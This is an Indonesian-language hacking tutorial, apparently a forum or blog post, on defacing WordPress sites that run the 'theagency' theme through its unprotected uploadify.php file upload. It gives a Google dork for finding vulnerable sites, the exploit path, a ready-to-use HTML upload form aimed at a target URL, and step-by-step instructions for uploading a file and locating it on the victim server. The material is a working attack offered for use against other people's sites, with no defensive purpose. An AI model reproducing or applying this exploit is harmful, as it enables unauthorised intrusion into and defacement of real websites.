Assalamualaikum gan
Gimana Kabarnya :)
Kali Ini Saya Akan Share Tentang Cara Deface Wordpress Theme Theagency File UplaodLangsung Saja Yha
=>Dork.
inurl:/wp-content/themes/theagency
=>Exploit.
/wp-content/themes/theagency/includes/uploadify/uploadify.php
=>CSRF.
Langkah - Langkah:
1.Dorking Ke Mbah Google
=>CSRF.
<form action="http://targetnya.com/wp-content/themes/theagency/includes/uploadify/uploadify.php" method="post" enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="Filedata" ><br><input type="submit" name="submit" value="SIKAT!"></form>
Langkah - Langkah:
1.Dorking Ke Mbah Google
2. Pilih Salah Satu Site,Cari Yang Vuln Yha Gan
Contoh:
http://targetnya.com
Masukkan Eksploitnya Menjadi
http://targetnya.com/wp-content/themes/theagency/includes/uploadify/uploadify.php
Kalau Vuln Tampilan Webnya=blank/Kosong
Copy Csrf Di Atas, Masukkan Site Ke Csrf, Save dengan format html. Kalau Sudah Buka File Csrf Kamu,terus Upload Deh ..
Kalau file nya suksek ke upload bakal muncul angka 1,Kalau Sudah Kita Cari Letak Filenya
Contoh
http://targetnya.com/wp-content/themes/theagency/includes/uploadify/uploads/namafileagan
Dan Hasilnya.., Tergantung Agan Mau Ngupload Foto/file . Kalau Belum Jelas Komen Aja Gan No PHP kok